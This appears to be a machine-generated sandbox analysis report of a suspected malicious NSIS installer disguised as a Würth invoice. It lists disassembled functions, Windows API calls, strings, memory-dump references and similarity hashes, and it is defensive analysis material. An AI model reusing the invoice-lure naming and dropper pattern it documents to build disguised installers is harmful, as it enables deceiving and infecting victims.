API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 185b5e1c0ba25d101467035dcd0349198d1f462ccd0962e07e58b023e6120319
Instruction ID: 7796c2fd8547987e4759cb33fe346f97dbca58780086dd76f853dd754902a95e
Opcode Fuzzy Hash: 185b5e1c0ba25d101467035dcd0349198d1f462ccd0962e07e58b023e6120319
Instruction Fuzzy Hash: 0AC1BFB2504204EFDB206F61EE45E2B7AA8EB86705F00853EF651B11F1CB3D9851DB5E

Function 00403876 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406407: GetModuleHandleA.KERNEL32(?,00000020,?,004032E6,00000009), ref: 00406419
Part of subcall function 00406407: GetProcAddress.KERNEL32(00000000,?), ref: 00406434

lstrcatW.KERNEL32(1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00000000), ref: 004038F7
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\Sympodia\broletto,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,75923420), ref: 00403977
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\Sympodia\broletto,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 0040398A
GetFileAttributesW.KERNEL32(Call), ref: 00403995
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\Sympodia\broletto), ref: 004039DE

Part of subcall function 00405F74: wsprintfW.USER32 ref: 00405F81

RegisterClassW.USER32(007A79C0), ref: 00403A1B
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A33
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A68
ShowWindow.USER32(00000005,00000000), ref: 00403A9E
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403ACA
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403AD7
RegisterClassW.USER32(007A79C0), ref: 00403AE0
DialogBoxParamW.USER32(?,00000000,00403C19,00000000), ref: 00403AFF

Strings

RichEdit, xrefs: 00403AD1
.exe, xrefs: 00403984
RichEdit20W, xrefs: 00403AC2, 00403AC8
"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe", xrefs: 0040387A
RichEd32, xrefs: 00403AB2
Control Panel\Desktop\ResourceLocale, xrefs: 004038AA
C:\Users\user\Sympodia\broletto, xrefs: 00403906, 0040390E, 004039B1, 004039B7, 004039C7
C:\Users\user\AppData\Local\Temp\, xrefs: 0040387B
1033, xrefs: 00403896, 004038F2
RichEd20, xrefs: 00403AA4
.DEFAULT\Control Panel\International, xrefs: 004038E2
_Nb, xrefs: 004039FA, 00403A62
Call, xrefs: 0040393E, 00403947, 00403955, 004039A4, 004039AA

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Sympodia\broletto$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2356460556
Opcode ID: 2aad4ae8f770a3a4c9c0d4813db5772816ca658ce53dfce8c4cc6a4aea9b68c7
Instruction ID: 266f42dc912ac30c3170d4d572d87253d856dcd8cbc4d1b533e3310f3344062b
Opcode Fuzzy Hash: 2aad4ae8f770a3a4c9c0d4813db5772816ca658ce53dfce8c4cc6a4aea9b68c7
Instruction Fuzzy Hash: DA61A270200600AED620AF669D45F2B3A6CEBC5B49F40853FF941B62E2DB7D5901CB6D

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,00000400,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00402E1B

Part of subcall function 00405C02: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,80000000,00000003,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00405C06
Part of subcall function 00405C02: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00405C28

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,80000000,00000003,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00402E67

Strings

Null, xrefs: 00402EE5
Error launching installer, xrefs: 00402E3E
C:\Users\user\Desktop\Wuerth_factura_4052073226..exe, xrefs: 00402E05, 00402E14, 00402E28, 00402E48
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe", xrefs: 00402DEE
soft, xrefs: 00402EDC
vy, xrefs: 00402E7C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
Inst, xrefs: 00402ED3
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Wuerth_factura_4052073226..exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 4283519449-1975749209
Opcode ID: 2230abfe47367ce911a851d27291f94f72d64689ba699b53d3264e4bd5f6c4f0
Instruction ID: 09a089d5f82a6c40e132a302aa9c698f597429127be3c6a0c4abd29db18ff3c5
Opcode Fuzzy Hash: 2230abfe47367ce911a851d27291f94f72d64689ba699b53d3264e4bd5f6c4f0
Instruction Fuzzy Hash: CE51E971901206ABDB109F64DE89B5E7BB8EF15394F20403BF904B62D1DBBC4D409B5D

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\Sympodia\broletto,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\Sympodia\broletto,?,?,00000031), ref: 004017CD

Part of subcall function 0040602D: lstrcpynW.KERNEL32(?,?,00000400,0040332A,007A7A20,NSIS Error), ref: 0040603A

Part of subcall function 0040518C: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403168,00000000,?), ref: 004051C4
Part of subcall function 0040518C: lstrlenW.KERNEL32(00403168,007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403168,00000000), ref: 004051D4
Part of subcall function 0040518C: lstrcatW.KERNEL32(007A0F00,00403168,00403168,007A0F00,00000000,007924D8,759223A0), ref: 004051E7
Part of subcall function 0040518C: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 004051F9
Part of subcall function 0040518C: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040521F
Part of subcall function 0040518C: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405239
Part of subcall function 0040518C: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405247

Strings

Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\Sympodia\broletto, xrefs: 00401796
C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll, xrefs: 0040182D, 00401849
C:\Users\user\AppData\Local\Temp\nsf6188.tmp, xrefs: 00401819, 00401837

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsf6188.tmp$C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll$C:\Users\user\Sympodia\broletto$Call
API String ID: 1941528284-1241639015
Opcode ID: a5ea1d74589360650eecc12eae9d64c8bcc31512d10061facb43601c9a82ae87
Instruction ID: b6c518ac9409a037d84d2de051aa7ef8acb95708ad7dc08f543902d4715931a2
Opcode Fuzzy Hash: a5ea1d74589360650eecc12eae9d64c8bcc31512d10061facb43601c9a82ae87
Instruction Fuzzy Hash: 2241A571940515BACF20BFB5CC46DAF7675EF45329B20823BF422B10E2DB3C8A519A6D

Function 0040518C Relevance: 10.6, APIs: 7, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403168,00000000,?), ref: 004051C4
lstrlenW.KERNEL32(00403168,007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403168,00000000), ref: 004051D4
lstrcatW.KERNEL32(007A0F00,00403168,00403168,007A0F00,00000000,007924D8,759223A0), ref: 004051E7
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 004051F9
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040521F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405239
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405247

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: baa22e3bb1d4b1fe90a2dc8523cea4daa0ee706f4726e05986a8d1993b39331c
Instruction ID: ba1fee82cce58728351fc00c71800df183ba28672b3cc7c2ac0788bec40afb87
Opcode Fuzzy Hash: baa22e3bb1d4b1fe90a2dc8523cea4daa0ee706f4726e05986a8d1993b39331c
Instruction Fuzzy Hash: F721AF71900558BACB119FA6DD44ACFBFB8EF85310F10807AF904B62A1C7794A40CFA8

Function 0040565B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040569E
GetLastError.KERNEL32 ref: 004056B2
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056C7
GetLastError.KERNEL32 ref: 004056D1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405681
C:\Users\user\Desktop, xrefs: 0040565B

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-1521822154
Opcode ID: 00ef7c6a0f32c1044080c086edeac3c819c61aa9b54d8d974478d91d60ac005e
Instruction ID: dadfd0f85cedcb10ba49dc730fb6619fbbf26863a665bac08794baa5a138d59b
Opcode Fuzzy Hash: 00ef7c6a0f32c1044080c086edeac3c819c61aa9b54d8d974478d91d60ac005e
Instruction Fuzzy Hash: F9010871D00219DBDF109FA0C9447EFBBB8EB14304F10443AE548F6280D77996148FA9

Function 00406397 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063AE
wsprintfW.USER32 ref: 004063E9
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004063FD

Strings

\, xrefs: 004063BF
UXTHEME, xrefs: 004063A0
%s%S.dll, xrefs: 004063E3

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 9cd176900e46196ffcfca9c6351026e8055dbc09b9427d0f5483d49a535bfda6
Instruction ID: c9fa99885ad6dc82947e8769e1e813740631d6316ec4b329aa07ca863a8e6543
Opcode Fuzzy Hash: 9cd176900e46196ffcfca9c6351026e8055dbc09b9427d0f5483d49a535bfda6
Instruction Fuzzy Hash: 6BF0F670510219A7DB10AB64DD0DF9A366CAB00304F10443ABA46F20E0EFB8DA79CBE8

Function 00403027 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403115
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 0040313E
wsprintfW.USER32 ref: 00403151

Strings

... %d%%, xrefs: 0040314B

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 64e3684ffa8c04dbafb980c2e948ff94a517c572883cec4c9b5d615e314ee73f
Instruction ID: 45afdf0c92a303c1fb6294b6805c2526d8a52aadf0d65962a881b974f50d995b
Opcode Fuzzy Hash: 64e3684ffa8c04dbafb980c2e948ff94a517c572883cec4c9b5d615e314ee73f
Instruction Fuzzy Hash: AA518C31801209EBCB10CFA5DA44B9F7BB8AF55766F1441BBE814B72C1D7788F508BA9

Function 00405C31 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C4F
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",0040327B,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 00405C6A

Strings

nsa, xrefs: 00405C3E
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C36
"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe", xrefs: 00405C31

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2656061785
Opcode ID: da3add3990966c57ea49aa46ced784fea404a948837784a5301244cb17f573d8
Instruction ID: eddd0f9b3fe3e6878938fd53c549b869409703644024dbd16f9d2af4fdafb47c
Opcode Fuzzy Hash: da3add3990966c57ea49aa46ced784fea404a948837784a5301244cb17f573d8
Instruction Fuzzy Hash: D7F09076700708BFEB109F59DD05A9BB7BCEB91710F10403AFD01E7280E6B09E548B68

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

